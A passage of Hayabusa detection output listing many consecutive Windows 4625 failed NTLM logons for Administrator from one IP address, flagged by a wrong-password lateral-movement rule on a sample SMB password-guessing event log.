NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.241 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4TdkChjMAviJ6jr8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.283 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sPIGU1rBk0F5cG9P : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.329 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8ScynGWKK3CtoUsi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.373 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0E4JAuxC8MuuGfnw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.420 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4aDJtqsUWKyuDqBq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.469 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yCFrEHUgqCtKPybS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.508 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2ftrEBfaLGbboV8D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: thle3slH6gZYllyQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.592 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PcEnabS7oj98WI0e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EBqGp9CD4A9PsyLk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iil8dQlzMCkKRNUb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.735 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nDBqxF9bmNNjNdsm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.795 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QJNBRV3BRVEN8hmG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.837 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OGl1Tbdw7PDvVsRR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uspHTc4JwnjjZQti : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.930 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8Exq3nfy1LeFOPcA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vdFC4g7vsLO0zOzL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.019 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HpdCohLheoqQ6DXw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.062 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xHS3sclMwgHuH8rE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.100 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sNSheImuQwgOEH5g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.142 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GX5y374mlYYXbAB2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eaFRL6q9KQY5bFHZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.230 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MrkEyJmfLiSrvQGs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.261 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Fd1vJiJa3pdjqdQV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RVrZl3LOIa7VLhT7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TKR8KbyQkwRX1qTE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GY22XuDxbE5lvEra : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.441 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4AntiX3j9HLHcOOq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.501 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XIvMbod41WeNADy5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.538 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0UL4lb3CCrv7YfGQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OyRktDjPqFyrdSTQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.632 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HKEGmAH8Wbc7f3jC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.676 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 06Dfi4lO2Vdw3gCr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 29eXmenUTACkAHKC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2Zq7Gl6hnKDJJqFc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.809 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jKENlWYt6m78taZR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.863 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 822SUU2Hg6w6AqQh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.911 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bROU0Mk9Z4yEq323 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.952 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EKfVPleDpLLqkuKq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.047 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NGWVqbchMitnLVYT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.086 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y7K9vifU9lWwpP9J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.142 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oIgKYj210JfICJXv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jisuKilPQivTV8yE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.229 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hckyoom0XnqpRzK8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.284 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: De0l6qgcuhMERjMY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.343 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SSa7pylPWn8jl2Ox : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.377 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ol9OntO4hqidlNUi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.431 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kXOBF0ZWLxMauHuT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.504 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WVBFJltkR5vnmpYD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.554 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kHVXEHq9zNYdfTpZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OIw3BxmLsfwDXXFg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.647 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hhgRhjnhkRJus4fw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xz78guWXrekEvuFT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.742 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 04wNT26RJmriQrfH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.792 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XmbuuymdSpfNldt2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.837 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yqJarBVOImq5Tn2p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.876 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BZYExQroYH65tPuG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.913 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: llU5DQBrIrV3VtG5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.953 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HV17iXOYQqs2ntax : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:24.994 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: esZnEeyGdPa22PsL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rlYFTP9a2wdi5A2n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.075 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oJifU0PnO1Ntp6z3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.120 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xGKdKjJy28Qd1whT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.166 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x3L4BYjYJYlvuYHE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.206 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ui5RoLKttDo0wfFJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: G2xjdWobsxBjo6p7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.293 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TPeQ0M5lXITI84G3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.337 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uu72qx4lG5ZRM7xf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.392 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zD072YR1hIgbzjaT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.449 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EqA7HDvImIlCiFq2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.508 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: efYFxZwMGEC3vVi7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.552 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6WmMHYegvFJvv6zd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.601 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DS9WkRnP0B5MgaeX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.656 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y5jNPV7ZgFExgg9n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.707 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V1FJ6vm3wK97iual : IP Address: 192.168.198.149 : AuthPackage: 